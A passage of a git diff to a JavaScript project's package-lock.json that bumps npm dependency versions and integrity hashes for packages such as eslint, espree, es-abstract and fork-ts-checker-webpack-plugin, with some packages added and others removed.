"sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q==" }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true + }, "node_modules/ecc-jsbn": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", @@ -5101,9 +5515,9 @@ "dev": true }, "node_modules/electron-to-chromium": { - "version": "1.4.320", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.320.tgz", - "integrity": "sha512-h70iRscrNluMZPVICXYl5SSB+rBKo22XfuIS1ER0OQxQZpKTnFpuS6coj7wY9M/3trv7OR88rRMOlKmRvDty7Q==" + "version": "1.4.523", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.523.tgz", + "integrity": "sha512-9AreocSUWnzNtvLcbpng6N+GkXnCcBR80IQkxRC9Dfdyg4gaWNUPBujAHUpKkiUkoSoR9UlhA4zD/IgBklmhzg==" }, "node_modules/elliptic": { "version": "6.5.4", @@ -5138,15 +5552,6 @@ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "dev": true }, - "node_modules/emojis-list": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", - "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", - "dev": true, - "engines": { - "node": ">= 4" - } - }, "node_modules/encodeurl": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", @@ -5165,9 +5570,9 @@ } }, "node_modules/enhanced-resolve": { - "version": "5.12.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.12.0.tgz", - "integrity": "sha512-QHTXI/sZQmko1cbDoNAa3mJ5qhWUUNAq3vR0/YiD379fWQrcfuoX1+HW2S0MTt7XmoPLapdaDKUtelUSPic7hQ==", + "version": "5.15.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz", + "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==", "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" @@ -5177,9 +5582,9 @@ } }, "node_modules/entities": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.4.0.tgz", - "integrity": "sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA==", + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", "dev": true, "engines": { "node": ">=0.12" @@ -5189,9 +5594,9 @@ } }, "node_modules/envinfo": { - "version": "7.8.1", - "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", - "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.10.0.tgz", + "integrity": "sha512-ZtUjZO6l5mwTHvc1L9+1q5p/R3wTopcfqMW8r5t8SJSKqeVI/LtajORwRFEKpEFuekjD0VBjwu1HMxL4UalIRw==", "dev": true, "bin": { "envinfo": "dist/cli.js" @@ -5209,18 +5614,19 @@ } }, "node_modules/es-abstract": { - "version": "1.21.1", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.21.1.tgz", - "integrity": "sha512-QudMsPOz86xYz/1dG1OuGBKOELjCh99IIWHLzy5znUB6j8xG2yMA7bfTV86VSqKF+Y/H08vQPR+9jyXpuC6hfg==", + "version": "1.22.2", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.2.tgz", + "integrity": "sha512-YoxfFcDmhjOgWPWsV13+2RNjq1F6UQnfs+8TftwNqtzlmFzEXvlUwdrNrYeaizfjQzRMxkZ6ElWMOJIFKdVqwA==", "dev": true, "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "arraybuffer.prototype.slice": "^1.0.2", "available-typed-arrays": "^1.0.5", "call-bind": "^1.0.2", "es-set-tostringtag": "^2.0.1", "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "function.prototype.name": "^1.1.5", - "get-intrinsic": "^1.1.3", + "function.prototype.name": "^1.1.6", + "get-intrinsic": "^1.2.1", "get-symbol-description": "^1.0.0", "globalthis": "^1.0.3", "gopd": "^1.0.1", @@ -5228,25 +5634,30 @@ "has-property-descriptors": "^1.0.0", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", - "internal-slot": "^1.0.4", - "is-array-buffer": "^3.0.1", + "internal-slot": "^1.0.5", + "is-array-buffer": "^3.0.2", "is-callable": "^1.2.7", "is-negative-zero": "^2.0.2", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.2", "is-string": "^1.0.7", - "is-typed-array": "^1.1.10", + "is-typed-array": "^1.1.12", "is-weakref": "^1.0.2", - "object-inspect": "^1.12.2", + "object-inspect": "^1.12.3", "object-keys": "^1.1.1", "object.assign": "^4.1.4", - "regexp.prototype.flags": "^1.4.3", + "regexp.prototype.flags": "^1.5.1", + "safe-array-concat": "^1.0.1", "safe-regex-test": "^1.0.0", - "string.prototype.trimend": "^1.0.6", - "string.prototype.trimstart": "^1.0.6", + "string.prototype.trim": "^1.2.8", + "string.prototype.trimend": "^1.0.7", + "string.prototype.trimstart": "^1.0.7", + "typed-array-buffer": "^1.0.0", + "typed-array-byte-length": "^1.0.0", + "typed-array-byte-offset": "^1.0.0", "typed-array-length": "^1.0.4", "unbox-primitive": "^1.0.2", - "which-typed-array": "^1.1.9" + "which-typed-array": "^1.1.11" }, "engines": { "node": ">= 0.4" @@ -5255,10 +5666,32 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/es-iterator-helpers": { + "version": "1.0.15", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.15.tgz", + "integrity": "sha512-GhoY8uYqd6iwUl2kgjTm4CZAf6oo5mHK7BPqx3rKgx893YSsy0LGHV6gfqqQvZt/8xM8xeOnfXBCfqclMKkJ5g==", + "dev": true, + "dependencies": { + "asynciterator.prototype": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.1", + "es-set-tostringtag": "^2.0.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.2.1", + "globalthis": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "iterator.prototype": "^1.1.2", + "safe-array-concat": "^1.0.1" + } + }, "node_modules/es-module-lexer": { - "version": "0.9.3", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", - "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==" + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.3.1.tgz", + "integrity": "sha512-JUFAyicQV9mXc3YRxPnDlrfBKpqt6hUYzz9/boprUJHs4e4KVr3XwOF70doO6gwXUor6EWZJAyWAfKki84t20Q==" }, "node_modules/es-set-tostringtag": { "version": "2.0.1", @@ -5300,11 +5733,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/es6-object-assign": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", - "integrity": "sha512-MEl9uirslVwqQU369iHNWZXsI8yaZYGg/D65aOgZkeyFJwHYSxilf7rQzXKI7DdDuBPrBXbfk3sl9hJhmd5AUw==" - }, "node_modules/escalade": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", @@ -5331,26 +5759,27 @@ } }, "node_modules/eslint": { - "version": "8.35.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.35.0.tgz", - "integrity": "sha512-BxAf1fVL7w+JLRQhWl2pzGeSiGqbWumV4WNvc9Rhp6tiCtm4oHnyPBSEtMGZwrQgudFQ+otqzWoPB7x+hxoWsw==", + "version": "8.49.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.49.0.tgz", + "integrity": "sha512-jw03ENfm6VJI0jA9U+8H5zfl5b+FvuU3YYvZRdZHOlU2ggJkxrlkJH4HcDrZpj6YwD8kuYqvQM8LyesoazrSOQ==", "dev": true, "dependencies": { - "@eslint/eslintrc": "^2.0.0", - "@eslint/js": "8.35.0", - "@humanwhocodes/config-array": "^0.11.8", + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.2", + "@eslint/js": "8.49.0", + "@humanwhocodes/config-array": "^0.11.11", "@humanwhocodes/module-importer": "^1.0.1", "@nodelib/fs.walk": "^1.2.8", - "ajv": "^6.10.0", + "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.2", "debug": "^4.3.2", "doctrine": "^3.0.0", "escape-string-regexp": "^4.0.0", - "eslint-scope": "^7.1.1", - "eslint-utils": "^3.0.0", - "eslint-visitor-keys": "^3.3.0", - "espree": "^9.4.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", "esquery": "^1.4.2", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", @@ -5358,23 +5787,19 @@ "find-up": "^5.0.0", "glob-parent": "^6.0.2", "globals": "^13.19.0", - "grapheme-splitter": "^1.0.4", + "graphemer": "^1.4.0", "ignore": "^5.2.0", - "import-fresh": "^3.0.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "is-path-inside": "^3.0.3", - "js-sdsl": "^4.1.4", "js-yaml": "^4.1.0", "json-stable-stringify-without-jsonify": "^1.0.1", "levn": "^0.4.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", - "optionator": "^0.9.1", - "regexpp": "^3.2.0", + "optionator": "^0.9.3", "strip-ansi": "^6.0.1", - "strip-json-comments": "^3.1.0", "text-table": "^0.2.0" }, "bin": { @@ -5388,15 +5813,16 @@ } }, "node_modules/eslint-plugin-react": { - "version": "7.32.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.32.2.tgz", - "integrity": "sha512-t2fBMa+XzonrrNkyVirzKlvn5RXzzPwRHtMvLAtVZrt8oxgnTQaYbU6SXTOO1mwQgp1y5+toMSKInnzGr0Knqg==", + "version": "7.33.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.33.2.tgz", + "integrity": "sha512-73QQMKALArI8/7xGLNI/3LylrEYrlKZSb5C9+q3OtOewTnMQi5cT+aE9E41sLCmli3I9PGGmD1yiZydyo4FEPw==", "dev": true, "dependencies": { "array-includes": "^3.1.6", "array.prototype.flatmap": "^1.3.1", "array.prototype.tosorted": "^1.1.1", "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.0.12", "estraverse": "^5.3.0", "jsx-ast-utils": "^2.4.1 || ^3.0.0", "minimatch": "^3.1.2", @@ -5406,7 +5832,7 @@ "object.values": "^1.1.6", "prop-types": "^15.8.1", "resolve": "^2.0.0-next.4", - "semver": "^6.3.0", + "semver": "^6.3.1", "string.prototype.matchall": "^4.0.8" }, "engines": { @@ -5446,9 +5872,9 @@ } }, "node_modules/eslint-plugin-react/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, "bin": { "semver": "bin/semver.js" @@ -5474,24 +5900,6 @@ "node": ">=4.0" } }, - "node_modules/eslint-utils": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", - "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", - "dev": true, - "dependencies": { - "eslint-visitor-keys": "^2.0.0" - }, - "engines": { - "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - }, - "peerDependencies": { - "eslint": ">=5" - } - }, "node_modules/eslint-visitor-keys": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", @@ -5502,13 +5910,13 @@ } }, "node_modules/eslint-webpack-plugin": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/eslint-webpack-plugin/-/eslint-webpack-plugin-4.0.0.tgz", - "integrity": "sha512-eM9ccGRWkU+btBSVfABRn8CjT7jZ2Q+UV/RfErMDVCFXpihEbvajNrLltZpwTAcEoXSqESGlEPIUxl7PoDlLWw==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/eslint-webpack-plugin/-/eslint-webpack-plugin-4.0.1.tgz", + "integrity": "sha512-fUFcXpui/FftGx3NzvWgLZXlLbu+m74sUxGEgxgoxYcUtkIQbS6SdNNZkS99m5ycb23TfoNYrDpp1k/CK5j6Hw==", "dev": true, "dependencies": { - "@types/eslint": "^8.4.10", - "jest-worker": "^29.4.1", + "@types/eslint": "^8.37.0", + "jest-worker": "^29.5.0", "micromatch": "^4.0.5", "normalize-path": "^3.0.0", "schema-utils": "^4.0.0" @@ -5591,9 +5999,9 @@ "dev": true }, "node_modules/eslint/node_modules/eslint-scope": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.1.tgz", - "integrity": "sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==", + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", "dev": true, "dependencies": { "esrecurse": "^4.3.0", @@ -5601,15 +6009,21 @@ }, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" } }, "node_modules/eslint/node_modules/eslint-visitor-keys": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz", - "integrity": "sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==", + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", "dev": true, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" } }, "node_modules/eslint/node_modules/glob-parent": { @@ -5625,9 +6039,9 @@ } }, "node_modules/eslint/node_modules/globals": { - "version": "13.20.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz", - "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "version": "13.21.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.21.0.tgz", + "integrity": "sha512-ybyme3s4yy/t/3s35bewwXKOf7cvzfreG2lH0lZl0JB7I4GxRP2ghxOK/Nb9EkRXdbBXZLfq/p/0W2JUONB/Gg==", "dev": true, "dependencies": { "type-fest": "^0.20.2" @@ -5679,14 +6093,14 @@ } }, "node_modules/espree": { - "version": "9.4.1", - "resolved": "https://registry.npmjs.org/espree/-/espree-9.4.1.tgz", - "integrity": "sha512-XwctdmTO6SIvCzd9810yyNzIrOrqNYV9Koizx4C/mRhf9uq0o4yHoCEU/670pOxOL/MSraektvSAji79kX90Vg==", + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", "dev": true, "dependencies": { - "acorn": "^8.8.0", + "acorn": "^8.9.0", "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^3.3.0" + "eslint-visitor-keys": "^3.4.1" }, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" @@ -5696,12 +6110,15 @@ } }, "node_modules/espree/node_modules/eslint-visitor-keys": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz", - "integrity": "sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==", + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", "dev": true, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" } }, "node_modules/esquery": { @@ -5820,16 +6237,16 @@ } }, "node_modules/expect": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/expect/-/expect-29.5.0.tgz", - "integrity": "sha512-yM7xqUrCO2JdpFo4XpM82t+PJBFybdqoQuJLDGeDX2ij8NZzqRHyu3Hp188/JX7SWqud+7t4MUdvcgGBICMHZg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/expect/-/expect-29.7.0.tgz", + "integrity": "sha512-2Zks0hf1VLFYI1kbh0I5jP3KHHyCHpkfyHBzsSXRFgl/Bg9mWYfMW8oD+PdMPlEwy5HNsR9JutYy6pMeOh61nw==", "dev": true, "dependencies": { - "@jest/expect-utils": "^29.5.0", - "jest-get-type": "^29.4.3", - "jest-matcher-utils": "^29.5.0", - "jest-message-util": "^29.5.0", - "jest-util": "^29.5.0" + "@jest/expect-utils": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -6009,6 +6426,17 @@ "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.5.tgz", "integrity": "sha512-P9bmyZ3h/PRG+Nzga+rbdI4OEpNDzAVyy74uVO9ATgzLK6VtAsYybF/+TOCvrc0MO793d6+42lLyZTw7/ArVzA==" }, + "node_modules/file-selector": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/file-selector/-/file-selector-0.6.0.tgz", + "integrity": "sha512-QlZ5yJC0VxHxQQsQhXvBaC7VRJ2uaxTf+Tfpu4Z/OcVQJVpZO+DGU0rkoVW5ce2SccxugvpBJoMvUs59iILYdw==", + "dependencies": { + "tslib": "^2.4.0" + }, + "engines": { + "node": ">= 12" + } + }, "node_modules/fill-range": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", @@ -6063,46 +6491,21 @@ "dev": true }, "node_modules/find-cache-dir": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", - "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", - "dev": true, - "dependencies": { - "commondir": "^1.0.1", - "make-dir": "^3.0.2", - "pkg-dir": "^4.1.0" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/avajs/find-cache-dir?sponsor=1" - } - }, - "node_modules/find-cache-dir/node_modules/make-dir": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", - "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-4.0.0.tgz", + "integrity": "sha512-9ZonPT4ZAK4a+1pUPVPZJapbi7O5qbbJPdYw/NOQWZZbVLdDTYM3A4R9z/DpAM08IDaFGsvPgiGZ82WEwUDWjg==", "dev": true, "dependencies": { - "semver": "^6.0.0" + "common-path-prefix": "^3.0.0", + "pkg-dir": "^7.0.0" }, "engines": { - "node": ">=8" + "node": ">=14.16" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/find-cache-dir/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true, - "bin": { - "semver": "bin/semver.js" - } - }, "node_modules/find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", @@ -6125,16 +6528,17 @@ } }, "node_modules/flat-cache": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", - "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.1.0.tgz", + "integrity": "sha512-OHx4Qwrrt0E4jEIcI5/Xb+f+QmJYNj2rrK8wiIdQOIrB9WrrJL8cjZvXdXuBTkkEwEqLycb5BeZDV1o2i9bTew==", "dev": true, "dependencies": { - "flatted": "^3.1.0", + "flatted": "^3.2.7", + "keyv": "^4.5.3", "rimraf": "^3.0.2" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": ">=12.0.0" } }, "node_modules/flat-cache/node_modules/rimraf": { @@ -6153,9 +6557,9 @@ } }, "node_modules/flatted": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz", - "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==", + "version": "3.2.9", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.9.tgz", + "integrity": "sha512-36yxDn5H7OFZQla0/jFJmbIKTdZAQHngCedGxiMmpNfEZM0sdEeT+WczLQrjK6D7o2aiyLYDnkw0R3JK0Qv1RQ==", "dev": true }, "node_modules/follow-redirects": { @@ -6186,23 +6590,51 @@ "is-callable": "^1.1.3" } }, - "node_modules/forever-agent": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "node_modules/foreground-child": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.1.1.tgz", + "integrity": "sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.0", + "signal-exit": "^4.0.1" + }, "engines": { - "node": "*" + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/fork-ts-checker-webpack-plugin": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-7.3.0.tgz", - "integrity": "sha512-IN+XTzusCjR5VgntYFgxbxVx3WraPRnKehBFrf00cMSrtUuW9MsG9dhL6MWpY6MkjC3wVwoujfCDgZZCQwbswA==", + "node_modules/foreground-child/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", "dev": true, - "dependencies": { - "@babel/code-frame": "^7.16.7", - "chalk": "^4.1.2", - "chokidar": "^3.5.3", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "engines": { + "node": "*" + } + }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-8.0.0.tgz", + "integrity": "sha512-mX3qW3idpueT2klaQXBzrIM/pHw+T0B/V9KHEvNrqijTq9NFnMZU6oreVxDYcf33P8a5cW+67PjodNHthGnNVg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.16.7", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", "cosmiconfig": "^7.0.1", "deepmerge": "^4.2.2", "fs-extra": "^10.0.0", @@ -6219,13 +6651,7 @@ }, "peerDependencies": { "typescript": ">3.6.0", - "vue-template-compiler": "*", "webpack": "^5.11.0" - }, - "peerDependenciesMeta": { - "vue-template-compiler": { - "optional": true - } } }, "node_modules/fork-ts-checker-webpack-plugin/node_modules/ajv": { @@ -6318,9 +6744,9 @@ "dev": true }, "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", "dev": true, "dependencies": { "@types/json-schema": "^7.0.8", @@ -6378,23 +6804,6 @@ "node": ">= 0.6" } }, - "node_modules/frontend-collective-react-dnd-scrollzone": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/frontend-collective-react-dnd-scrollzone/-/frontend-collective-react-dnd-scrollzone-1.0.2.tgz", - "integrity": "sha512-me/D9PZJq9j/sjEjs/OPmm6V6nbaHbhgeQiwrWu0t35lhwAOKWc+QBzzKKcZQeboYTkgE8UvCD9el+5ANp+g5Q==", - "dependencies": { - "hoist-non-react-statics": "^3.1.0", - "lodash.throttle": "^4.0.1", - "prop-types": "^15.5.9", - "raf": "^3.2.0", - "react": "^16.3.0", - "react-display-name": "^0.2.0", - "react-dom": "^16.3.0" - }, - "peerDependencies": { - "react-dnd": "^7.3.0" - } - }, "node_modules/fs-extra": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", @@ -6410,9 +6819,9 @@ } }, "node_modules/fs-monkey": { - "version": "1.0.3", - "resolved": 